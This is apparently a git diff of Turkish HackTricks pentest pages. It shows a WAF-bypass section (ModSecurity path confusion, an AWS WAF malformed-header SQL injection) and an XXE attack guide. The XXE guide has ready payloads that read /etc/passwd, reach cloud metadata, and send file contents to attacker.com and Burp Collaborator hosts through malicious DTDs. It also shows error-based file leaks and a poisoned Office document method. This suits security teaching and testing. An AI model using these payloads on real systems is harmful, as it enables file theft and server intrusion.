* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -87,18 +87,18 @@ deny all;
### Yol Karışıklığı
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/), ModSecurity v3'ün (3.0.12'ye kadar) **`REQUEST_FILENAME`** değişkenini yanlış şekilde uyguladığııklanmaktadır. Bu değişken, erişilen yolun (parametrelerin başlangıcına kadar) bulunması gerekiyordu. Bu, yolu almak için bir URL çözümlemesi yaptığı için gerçekleşmiştir.\
Bu nedenle, mod güvenlikte `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, `%3f`'nin `?`'e dönüştürülerek URL yolunu bitirmesi nedeniyle yolu sadece `/foo` olarak kabul eder, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
[**Bu yazıda**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/), ModSecurity v3'ün (3.0.12'ye kadar) **`REQUEST_FILENAME`** değişkeninin yanlış şekilde uygulandığııklanmaktadır. Bu değişken erişilen yolun (parametrelerin başlangıcına kadar) içermesi gerekiyordu. Bu, yolu almak için bir URL çözümlemesi yaptığı için gerçekleşmiştir.\
Bu nedenle, mod güvenlikte `http://example.com/foo%3f';alert(1);foo=` gibi bir istek, yolun sadece `/foo` olduğunu varsayacaktır çünkü `%3f`, URL yolunu bitirerek `?`'e dönüşür, ancak aslında sunucunun alacağı yol `/foo%3f';alert(1);foo=` olacaktır.
`REQUEST_BASENAME` ve `PATH_INFO` değişkenleri de bu hatadan etkilenmiştir.
Mod Güvenlik'in 2. sürümünde de benzer bir durum yaşanmıştır. Bu durum, yedek dosyalarla ilişkili belirli uzantılara sahip dosyalara erişimi engelleyen bir korumayı atlamayı mümkün kılmıştır (örneğin `.bak`) basitçe noktayı URL kodlanmış `%2e` ile göndererek, örneğin: `https://example.com/backup%2ebak`.
Mod Security'nin 2. sürümünde de benzer bir durum yaşanmıştır. Bu durum, yedek dosyalarla ilişkili belirli uzantılara (örneğin `.bak`) sahip dosyalara erişimi engelleyen bir korumayı atlamayı mümkün kılmıştır. Sadece nokta URL kodlanarak (`%2e`), örneğin: `https://example.com/backup%2ebak`, nokta gönderilerek basitçe atlanabilmiştir.
## AWS WAF ACL'sini Atlatma <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## AWS WAF ACL Atlatma <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Hatalı Başlık
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), AWS WAF kurallarının HTTP başlıklarına uygulanmasını atlatmanın, AWS tarafından düzgün şekilde ayrıştırılmayan ancak arka uç sunucusu tarafından ayrıştırılan "hatalı" bir başlık gönderilerek mümkün olduğunu belirtmektedir.
[Bu araştırma](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), HTTP başlıkları üzerinde uygulanan AWS WAF kurallarını atlatmanın, AWS tarafından düzgün şekilde ayrıştırılmayan ancak arka uç sunucusu tarafından ayrıştırılan "hatalı" bir başlık gönderilerek mümkün olduğunu belirtmektedir.
Örneğin, aşağıdaki isteği SQL enjeksiyonu içeren X-Query başlığı ile göndermek:
```http
@ -109,28 +109,26 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
AWS WAF'ı atlatmak mümkündü çünkü bir sonraki satırın başlık değerinin bir parçası olduğunu anlamazken NODEJS sunucusu anlıyordu (bu sorun giderildi).
## Referanslar
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@ -14,19 +14,19 @@ HackTricks'i desteklemenin diğer yolları:
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## XML Temelleri
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıkça adlandırılmış etiketlerin kullanımına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket kümesine sınırlı olmamasıyla farklılık gösterir. JSON'ın yükselişiyle XML'in önemi azalmış olmasına rağmen, başlangıçtaki rolü AJAX teknolojisindeydi.
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı adlandırılmış etiketlerin kullanımına olanak tanıyan esnek bir yapıya sahiptir. HTML'den farklı olarak, belirli bir dizi önceden tanımlanmış etiketle sınırlı olmamasıyla dikkat çeker. XML'nin önemi, AJAX teknolojisindeki ilk rolüne rağmen JSON'un yükselişiyle azalmıştır.
* **Varlıklar Aracılığıyla Veri Temsili**: XML'deki varlıklar, `&lt;` ve `&gt;` gibi özel karakterler de dahil olmak üzere verinin temsil edilmesini sağlar; bu karakterler, `<` ve `>` ile çakışmayı önlemek için kullanılır.
* **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına izin verir, elemanların nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler, her türlü içerikten belirli alt elemanlara kadar uzanabilir.
* **Belge Türü Tanımı (DTD)**: DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler, belgelerin nasıl biçimlendirildiğini ve doğrulandığını yönlendirirler.
* **Varlıklar Aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile eşleşen `&lt;` ve `&gt;` gibi özel karakterler de dahil olmak üzere verilerin temsil edilmesini sağlar, böylece XML'in etiket sistemiyle çakışmayı önler.
* **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına izin verir, elemanların nasıl yapılandırılması gerektiğini ve hangi içeriğe sahip olabileceğini belirler, her türlü içerikten belirli çocuk elemanlara kadar uzanabilir.
* **Belge Türü Tanımı (DTD)**: DTD'ler, belgenin yapısını ve içerebileceği veri türlerini tanımlamak için XML'de önemlidir. İç, dış veya bir kombinasyon olabilirler, belgelerin nasıl biçimlendirileceğini ve doğrulanacağını yönlendirir.
* **Özel ve Harici Varlıklar**: XML, esnek veri temsili için DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan harici varlıklar, özellikle XML Harici Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının harici veri kaynaklarını nasıl işlediğini sömürür: `<!DOCTYPE foo [ <!ENTITY myentity "değer" > ]>`
* **Parametre Varlıklarıyla XXE Tespiti**: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XXE zafiyetlerini tespit etmek için özellikle XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleyerek veya kontrol edilen bir alan adına HTTP istekleri göndererek dış hattan tespit tekniklerine izin verir ve zafiyeti doğrular.
* **Parametre Varlıklarıyla XXE Tespiti**: Geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, özellikle XXE zafiyetlerini tespit etmek için XML parametre varlıkları kullanılabilir. Bu varlıklar, DNS sorgularını tetikleme veya kontrol edilen bir alan adına HTTP istekleri gönderme gibi dış-bant tespit tekniklerine izin verir ve zafiyeti doğrular.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
@ -36,7 +36,7 @@ XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve a
### Yeni Varlık testi
Bu saldırıda, basit bir yeni VARLIK bildiriminin çalışıp çalışmadığını test edeceğim.
Bu saldırıda basit bir yeni VARLIK bildiriminin çalışıp çalışmadığını test edeceğim.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -49,19 +49,21 @@ Bu saldırıda, basit bir yeni VARLIK bildiriminin çalışıp çalışmadığı
Farklı yollarla `/etc/passwd` dosyasını okumayı deneyelim. Windows için şunu okumayı deneyebilirsiniz: `C:\windows\system32\drivers\etc\hosts`
Bu ilk durumda, SYSTEM "_\*\*file:///\*\*etc/passwd_"'nin de çalışacağını fark edin.
Bu ilk durumda, SYSTEM "_\*\*file:///\*\*etc/passwd_" da çalışacaktır.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
Bu ikinci durum, web sunucusunun PHP kullanıyorsa bir dosya çıkarmak için faydalı olabilir (Portswiggers lab'ın durumu değil)
![](<../.gitbook/assets/image (83).png>)
Bu ikinci durum, web sunucusunun PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswiggers lab'ın durumu değil)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Bu üçüncü durumda, `Element stockCheck`'i ANY olarak bildirdiğimize dikkat edin.
Bu üçüncü durumda, `Element stockCheck`'i ANY olarak tanımladığımıza dikkat edin.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -73,9 +75,11 @@ Bu üçüncü durumda, `Element stockCheck`'i ANY olarak bildirdiğimize dikkat
<storeId>1</storeId>
</stockCheck3>
```
### Dizin listesi
![](<../.gitbook/assets/image (750).png>)
Java tabanlı uygulamalarda, bir dosyanın içeriğini listelemek mümkün olabilir. XXE ile şu şekilde bir payload kullanarak (dosya yerine sadece dizini isteyerek):
### Dizin listeleme
**Java** tabanlı uygulamalarda, bir dosyanın içeriğini listelemek mümkün olabilir. XXE ile şu şekilde bir yük kullanarak (dosya yerine sadece dizini isteyerek):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -93,17 +97,17 @@ Bir XXE, bir bulutta içeride bir SSRF'yi kötüye kullanmak için kullanılabil
```
### Kör SSRF
**Önceki yorumlanmış teknik** kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, belki de **XML varlıklarına izin verilmiyordur**, bu durumda **XML parametre varlıklarını** deneyebilirsiniz:
**Önceden yorumlanmış teknik** kullanılarak sunucunun, zayıf noktalarını göstermek için kontrol ettiğiniz bir sunucuya erişmesini sağlayabilirsiniz. Ancak, bu çalışmıyorsa, belki de **XML varlıklarına izin verilmiyordur**, bu durumda **XML parametre varlıklarını** deneyebilirsiniz:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "Kör" SSRF - Verileri dışarıya çıkar
### "Kör" SSRF - Verileri dış kanaldan sızdırma
**Bu durumda, sunucuyu, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü amaçlı bir yük taşıyan yeni bir DTD yüklemeye zorlayacağız (**çok satırlı dosyalar için bunu** _**ftp://**_ **aracılığıyla dışarıya çıkarabilirsiniz** _**ftp://**_ **örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama, [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temellendirilmiştir.**
**Bu durumda, sunucuyu, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü amaçlı bir yük içeren yeni bir DTD yüklemesini sağlayacağız (**çok satırlı dosyalar için bunu örneğin** _**ftp://**_ **kullanarak dışa sızdırmayı deneyebilirsiniz** bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temellendirilmiştir.**
Verileri dışarıya çıkarmak için kötü amaçlı DTD'de bir dizi adım gerçekleştirilir:
Verileri dışarı sızdırmak için bir dizi adımın gerçekleştirildiği kötü amaçlı DTD verildi:
### Kötü Amaçlı DTD Örneği:
@ -120,8 +124,8 @@ Bu DTD tarafından yürütülen adımlar şunlardır:
* Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
* Başka bir XML parametre varlığı, `%eval`, tanımlanır. Dinamik olarak yeni bir XML parametre varlığı, `%exfiltrate`, bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizgisinde `%file` varlığının içeriğini ileterek saldırganın sunucusuna HTTP isteği yapacak şekilde ayarlanır.
2. **Varlıkların Yürütülmesi:**
* `%eval` varlığı kullanılır ve `%exfiltrate` varlığının dinamik bildiriminin yürütülmesine yol açar.
* Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriğini belirtilen URL'ye HTTP isteği yapar.
* `%eval` varlığı kullanılarak, `%exfiltrate` varlığının dinamik bildiriminin yürütülmesine yol açılır.
* Ardından `%exfiltrate` varlığı kullanılarak, dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği başlatılır.
Saldırgan, bu kötü amaçlı DTD'yi genellikle `http://web-saldirgan.com/kotu.dtd` gibi bir URL'de kendi kontrolündeki bir sunucuda barındırır.
@ -137,12 +141,12 @@ Bu payload, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içine dah
**Bu durumda, sunucunun, bir dosyanın içeriğini bir hata mesajında gösterecek kötü amaçlı bir DTD yüklemesini sağlayacağız (bu yalnızca hata mesajlarını görebiliyorsanız geçerlidir).** [**Buradan örnek.**](https://portswigger.net/web-security/xxe/blind)
Bir XML ayrıştırma hatası mesajı, kötü amaçlı harici Document Type Definition (DTD) kullanılarak tetiklenebilir ve `/etc/passwd` dosyasının içeriğini ortaya çıkarabilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
Kötü amaçlı harici Document Type Definition (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
1. `/etc/passwd` dosyasının içeriğini içeren `file` adlı bir XML parametre varlığı tanımlanır.
2. `eval` adlı bir XML parametre varlığı tanımlanır ve `error` adlı başka bir XML parametre varlığı için dinamik bir bildirim içerir. Bu `error` varlığı değerlendirildiğinde, mevcut olmayan bir dosya yüklemeye çalışır ve içeriği `file` varlığını adı olarak içerir.
1. `/etc/passwd` dosyasının içeriğini içeren `file` adında bir XML parametre varlığı tanımlanır.
2. Dinamik bir bildirim içeren `eval` adında başka bir XML parametre varlığı olan `error` adında bir XML parametre varlığı tanımlanır. Bu `error` varlığı, değerlendirildiğinde, `file` varlığının içeriğini adı olarak içeren bir mevcut olmayan dosyayı yüklemeye çalışır.
3. `eval` varlığı çağrılır ve `error` varlığının dinamik olarak bildirilmesine yol açar.
4. `error` varlığının çağrılması, mevcut olmayan bir dosya yüklemeye çalışır ve `/etc/passwd` dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.
4. `error` varlığının çağrılması, mevcut olmayan bir dosyayı yüklemeye çalışır ve `/etc/passwd` dosyasının içeriğini dosya adının bir parçası olarak içeren bir hata mesajı üretir.
Kötü amaçlı harici DTD, aşağıdaki XML ile çağrılabilir:
```xml
@ -152,11 +156,11 @@ Kötü amaçlı harici DTD, aşağıdaki XML ile çağrılabilir:
```
### **Hata Tabanlı (sistem DTD)**
Peki, **dış bağlantılar engellendiğinde** kör XXE zafiyetleri ne olacak?.
Peki, **dış bağlantılar engellendiğinde** kör XXE güvenlik açıkları ne olacak?.
XML dilindeki bir açıklık, bir belgenin DTD'sinin iç ve dış deklarasyonları karıştırdığında **hassas verilerin hata mesajları aracılığıyla ortaya çıkmasına** neden olabilir. Bu sorun, dışarıdan ve içeriden tanımlanan varlıkların içeriğinin tekrar tanımlanmasına izin verir ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, bir XML parametre varlığının, başlangıçta dış bir DTD'de tanımlanan, iç bir DTD içinden tekrar tanımlanmasını sömürür. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri ortaya çıkarmak için ayrıştırma hatası oluşturmayı amaçlarlar.
XML dilindeki bir açık, bir belgenin DTD'sinin iç ve dış deklarasyonları karıştırdığında **hassas verilerin hata mesajları aracılığıyla ortaya çıkmasına neden olabilir**. Bu sorun, dışarıdan tanımlanan varlıkların içeride yeniden tanımlanmasına izin vererek hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de başlangıçta tanımlanan bir XML parametre varlığının, iç DTD içinden yeniden tanımlanmasını sömürür. Sunucu tarafından dış bağlantılar engellendiğinde, saldırganların saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmesi gerekmektedir, hassas bilgileri ortaya çıkarmak için ayrıştırma hatası oluşturmayı amaçlar.
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda bir DTD dosyası bulunduğunu varsayalım ve bu dosya `custom_entity` adında bir varlık tanımlıyor. Bir saldırgan, aşağıdaki gibi bir karma DTD göndererek `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası oluşturabilir:
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda bir DTD dosyası bulunduğunu ve `custom_entity` adında bir varlık tanımladığını düşünelim. Bir saldırgan, aşağıdaki gibi bir karma DTD göndererek `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hatası oluşturabilir:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -169,15 +173,13 @@ Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda bir DTD dosyas
%local_dtd;
]>
```
```markdown
Belirtilen adımlar bu DTD tarafından yürütülür:
* Sunucunun dosya sisteminde bulunan harici DTD dosyasını içeren `local_dtd` adında bir XML parametre varlığının tanımı yapılır.
* Harici DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanımlama gerçekleşir ve [hata tabanlı XXE saldırısını](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsaması amaçlanır. Bu yeniden tanımlama, `/etc/passwd` dosyasının içeriğini ortaya çıkarmak için bir ayrıştırma hatası oluşturacak şekilde tasarlanmıştır.
* `local_dtd` varlığını kullanarak, harici DTD etkinleştirilir ve yeni tanımlanan `custom_entity` kapsanır. Bu eylem dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.
* Harici DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanımlama gerçekleşir ve [hata tabanlı XXE saldırısını](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsaması için tasarlanmıştır. Bu yeniden tanımlama, `/etc/passwd` dosyasının içeriğini ortaya çıkarmak için bir ayrıştırma hatası oluşturmayı amaçlar.
* `local_dtd` varlığını kullanarak, harici DTD etkinleştirilir ve yeni tanımlanan `custom_entity` kapsanır. Bu adımlar dizisi, saldırı tarafından hedeflenen hata mesajının yayınlanmasına neden olur.
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `ISOamso` adında bir varlık içeren `/usr/share/yelp/dtd/docbookx.dtd` konumunda bir DTD'ye sahiptir.
```
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adında bir varlık içeren bir DTD'ye sahiptir.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -192,7 +194,7 @@ Belirtilen adımlar bu DTD tarafından yürütülür:
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Bu teknik bir **iç DTD kullandığından önce geçerli bir tane bulmanız gerekmektedir**. Bunun için aynı **işletim sistemi / Yazılımı yükleyerek** sunucunun kullandığı ve **varsayılan DTD'leri arayabilirsiniz**, veya sistemler içindeki **varsayılan DTD'lerin bir listesini alabilir** ve var olup olmadığını **kontrol edebilirsiniz**:
Bu teknik bir **iç DTD kullandığından önce geçerli bir tane bulmanız gerekir**. Bunun için aynı **İşletim Sistemi / Yazılımı yükleyerek** sunucunun kullandığı ve **bazı varsayılan DTD'leri arayabilirsiniz**, veya sistemlerin içindeki varsayılan DTD'lerin bir listesini **edinebilir ve kontrol edebilirsiniz**:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -207,7 +209,7 @@ Aşağıdaki harika github deposunda **sistemde bulunabilecek DTD'lerin yolları
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Ayrıca, **kurban sistemin Docker görüntüsüne** sahipseniz, aynı depodaki aracı kullanarak **görüntüyü tarama** ve sistem içinde bulunan **DTD'lerin yolunu bulma** imkanınız vardır. Nasıl yapılacağını öğrenmek için [githubın Readme'sini](https://github.com/GoSecure/dtd-finder) okuyun.
Ayrıca, **kurban sistemin Docker imajına** sahipseniz, aynı depodaki aracı kullanarak **imajı tarayabilir** ve sistem içinde bulunan **DTD'lerin yolunu bulabilirsiniz**. Nasıl yapılacağını öğrenmek için [githubın Readme dosyasını](https://github.com/GoSecure/dtd-finder) okuyun.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -219,11 +221,11 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### Ofis Açık XML Ayrıştırıcıları Aracılığıyla XXE
### Office Open XML Aparatları Aracılığıyla XXE
Bu saldırının daha detaylı bir açıklaması için, [bu harika yazının ikinci bölümüne](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **Detectify**'dan bakabilirsiniz.
**Birçok web uygulaması tarafından Microsoft Office belgelerinin yüklenmesi** imkanı sunulur, ardından bu belgelerden belirli detaylar çıkarılır. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için en az bir XML dosyasını ayrıştırması gerekecektir.
**Birçok web uygulaması tarafından Microsoft Office belgelerinin yüklenmesi** imkanı sunulur, ardından bu belgelerden belirli detaylar çıkarılır. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri aktarmasına izin verebilir. Aparatın elektronik tablodan verileri çıkarması için en az bir XML dosyasını ayrıştırması gerekecektir.
Bu zafiyetin test edilmesi için, **XXE yüklemesi içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin açılacağı boş bir dizin oluşturmaktır.
@ -231,36 +233,36 @@ Belge açıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyas
Değiştirilmiş XML satırları iki kök XML nesnesi arasına yerleştirilmelidir. İstekler için izlenebilir bir URL ile URL'nin değiştirilmesi önemlidir.
Son olarak, kötü niyetli poc.docx dosyasını oluşturmak için dosya sıkıştırılabilir. Önceden oluşturulan "unzipped" dizininden, aşağıdaki komut çalıştırılmalıdır:
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Önceden oluşturulan "unzipped" dizininden, aşağıdaki komut çalıştırılmalıdır:
Şimdi, oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve bir isteğin Burp Collaborator günlüklerinde görünmesi umulabilir.
### Jar: Protokolü
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara erişimi sağlamak üzere tasarlanmıştır ve bir **PKZIP** arşivinde (örneğin `.zip`, `.jar`, vb.) dosya erişimini sağlar.
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalara erişimi sağlamak üzere tasarlanmıştır ve **PKZIP** arşivinde dosya erişimini sağlamak için (.zip, .jar vb.) hizmet verir.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
